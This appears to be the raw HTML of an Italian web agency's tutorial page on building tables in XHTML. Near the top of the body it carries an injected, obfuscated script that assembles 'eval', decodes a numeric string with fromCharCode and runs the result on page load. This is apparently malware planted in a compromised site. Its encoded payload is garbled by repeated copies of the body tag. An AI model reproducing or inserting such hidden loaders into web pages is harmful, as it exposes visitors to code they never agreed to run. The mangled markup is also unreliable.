Formazione web Perugia - Xhtml e CSS2 - Web Agency Improvvisiamo/title> <link href="twoColElsRtHdr.css" rel="stylesheet" type="text/css" /> <script type="text/javascript">  </script> </head> <body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')"> <script>try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'o'+'m'+'Ch';f+='arC';}try{qwe=prototype;}catch(brebr){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n="1.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5.5.5.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5.5.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5.5.5.5.5.5.5.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5<body class="twoColElsRtHdr" onload="MM_preloadImages('images/homeOver.png','images/aboutmeOver.png','images/contactOver.png')">.5.5"[((e)?"s":"")+"p"+"lit"]("a$".substr(1));for(i=6-2-1-2-1;i-567!=0;i++){k=i;ss=ss+String.fromCharCode(-1*h*(3+1*n[k]));}q=ss;e(q);}</script> <div id="spirale"> </div> <div id="container"> <div id="header"> <a href="http://www.improvvisiamo.com"><img src="images/web-agency.png" width="603" height="138" alt="Web Agency Improvvisiamo" /></a> <div id="menu"> <a href="http://www.improvvisiamo.com" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('Home','','images/homeOver.png',1)"><img src="images/home.png" alt="realizzazione siti web" name="Home" width="116" height="58" border="0" id="Home" /></a> <a href="http://www.improvvisiamo.com/web-agency-perugia.html" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('aboutMe','','images/aboutmeOver.png',1)"><img src="images/aboutme.png" alt="Web Agency Perugia" name="aboutMe" width="178" height="60" border="0" id="aboutMe" /></a> <a href="http://www.improvvisiamo.com/contacts.html" onmouseout="MM_swapImgRestore()" onmouseover="MM_swapImage('contacts','','images/contactOver.png',1)"><img src="images/contact.png" alt="Daniele Lettini" name="contacts" width="153" height="60" border="0" id="contacts" /></a></div> </div> <div id="sidebar1"> <div id="formazione"> <img src="images/formazione.png" width="200" height="213" alt="formazione web" usemap="#formazione"/> </div> </div> <div id="mainContent"> <h1>Mini Lezioni XHTML e CSS2</h1> <h2>Le tabelle in XHTML</h2> <p>In HTML l'impaginazione della pagina web avveniva con l'uso delle tabelle, mentre con l'evoluzione dell'HTML in XHTML l'impaginazione avviene con l'uso del DIV. </p> <p>Così facendo si era quasi perduto lo scopo originale per il quale erano state inventate che era quello di presentare dati ben ordinati e tabulati, questo scopo è stato riscoperto e ritrovato con Xhtml. Vediamo come si crea una tabelle e le sue proprietà.</p> <p>Per creare una tabella si utilizza il tag di apertura <img src="images/tag-table.png" width="56" height="17" alt="<table>" /> e il relativo tag di chiusura <img src="images/tag-table2.png" width="54" height="17" alt="</table>" />.</p><p> Il codice appena scritto da solo serve a bene poco, una tabella è infatti formata da celle disposte su righe e colonne che per essere create necessitano di altri elementi, almeno due: <img src="images/tag-tr.png" width="32" height="17" alt="<tr>" />e <img src="images/tag-td.png" width="32" height="17" alt="<td>" />che servono rispettivamente per suddividere la tabella in righe e/o in colonne, entrambi hanno e richiedono il relativo elemento di chiusura.</p> <p>Il codice mostrato dalla seguente immagini è un esempio molto semplice di tabella: Si noti inoltre che tr decreta l'inizio di una nuova riga, mentre td è la cella vera e propria.</p> <p><img src="images/esempio-tabella.png" width="462" height="166" alt="esempio-tabella" /></p> <p>Dovendo creare adesso una tabella con due celle affiancate, praticamente due colonne, sarà sufficiente affiancare due elementi td all'interno di un tr:</p> <p><img src="images/esempio-tabella2.png" width="462" height="166" alt="esempio-tabella2" /></p> <p>Con la stessa logica è possibile aggiungere tutte le righe e le celle che ci servono, quindi:</p> <p><img src="images/esempio-tabella3.png" width="462" height="166" alt="esempio-tabella3" /></p> <p>Oltre a tr e td che sono gli elementi base di una tabella esiste anche th che definisce il contenuto della intestazione di una tabella; per essere adoperato necessita dell'elemento thead (in cima) o tfoot (in fondo), praticamente la tabella viene suddivisa in due parti principali, proprio come succede con la pagina web dove c'è un head (testa) ed un body (corpo) anche in una tabella è possibile avere un thead ed un tbody. </p> <p><img src="images/esempio-tabella4.png" width="462" height="293" alt="esempio-tabella4" /></p> </div> <br class="clearfloat" /> <div id="footer"> <div id="menu-elenco"> <ul> <li><a href="http://www.improvvisiamo.com/corsi-aula.html" title="Corsi in Aula">Corsi Xhtml - Flash Perugia</a></li> <li><a href="http://www.improvvisiamo.com/realizzazione-siti-web.html" title="XHTML e CSS">Creazione Siti Web Perugia</a></li> <li><a href="http://www.improvvisiamo.com/realizzazione-siti-ecommerce.html" title="E-Commerce">Creazione siti e-commerce Perugia</a></li> <li><a href="http://www.improvvisiamo.com/realizzazione-blog.html" title="Blog">Creazione Blog</a></li> <li><a href="http://www.improvvisiamo.com/contacts.html" title="Contacts">Web Agency Perugia</a></li> </ul> </div> <p>Copyright © Web Agency Improvvisiamo è a Perugia - Lettini Daniele Antonio- P.IVA 01756970768 - </p> </div> </div> </body> <map name="formazione"> <area shape="rect" alt="e-book" href="http://www.improvvisiamo.com/e-book.html" coords="17,58,185,93"> <area shape="rect" alt="corsi in aula" href="http://www.improvvisiamo.com/corsi-aula.html" coords="16,101,181,136"> <area shape="rect" alt="corsi on-line" href="http://www.improvvisiamo.com/corsi-online.html" coords="18,142,180,175"> </map>  <script type="text/javascript" > var s_sid = 806581; var st_dominio = 4; var cimg = 0; var cwi =150; var che =30; </script> <script type="text/javascript" language="javascript" src="http://s11.histats.com/js9.js"></script> <noscript><p> <img src="http://s4.histats.com/stats/0.gif?806581&1" alt="cool hit counter" /></p> </noscript>  </html>